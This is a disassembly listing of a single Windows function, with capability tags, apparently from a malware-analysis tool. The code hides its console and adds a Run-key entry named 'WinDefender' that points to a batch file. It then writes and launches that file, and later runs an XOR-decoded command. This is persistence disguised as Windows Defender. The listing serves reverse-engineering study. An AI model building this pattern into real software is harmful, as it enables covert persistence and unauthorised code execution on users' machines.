Function at 0x140001290
Capabilities:
Create process on windows
Encode data using xor
Persist via run registry key
Set registry value

Disassembly:
push rbp
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
movaps xmmword [rsp + 0x190], xmm6
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rbp + 0x80], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000131a
mov dword [rsp + 0x28], 0x12
lea rax, str.C:WinDefender.bat
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.WinDefender
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], al
lea r8d, [rax + 0x12]
lea rcx, [rsp + 0x38]
call fcn.1400026e0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0x10
cmovae rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x70]
call fcn.1400024f0
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
mov r8d, 0x2d
lea rdx, [0x140007048]
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x78]
call fcn.140002440
test rax, rax
jne 0x1400013e7
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0x10
cmovae rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, 0x15f90
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm6, xmmword [str.ZO_EEGBB]
mov dword [rsp + 0x68], 0x4a434d
mov dword [rsp + 0x6c], 0x2e4b564b
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x140007988], eax
jle 0x140001481
lea rcx, [0x140007988]
call fcn.140002ca8
cmp dword [0x140007988], 0xffffffff
jne 0x140001481
movups xmmword [0x140007968], xmm6
movsd xmm0, qword [rsp + 0x68]
movsd qword [0x140007978], xmm0
lea rcx, [0x140003d20]
call fcn.14000302c
lea rcx, [0x140007988]
call fcn.140002c48
lea rcx, [0x140007968]
cmp byte [0x14000797f], 0
je 0x1400014bf
movdqa xmm1, xmmword [str.................]
movdqu xmm0, xmmword [0x140007968]
pxor xmm1, xmm0
movdqu xmmword [0x140007968], xmm1
mov eax, 0x10
xor byte [rax + rcx], 0x2e
inc rax
cmp rax, 0x18
jb 0x1400014b2
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
nop
lea rcx, [rsp + 0x70]
call fcn.140001540
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140001513
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000150e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000150e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003044
xor eax, eax
mov rcx, qword [rbp + 0x80]
xor rcx, rsp
call fcn.140002b30
movaps xmm6, xmmword [rsp + 0x190]
add rsp, 0x1a0
pop rbp
ret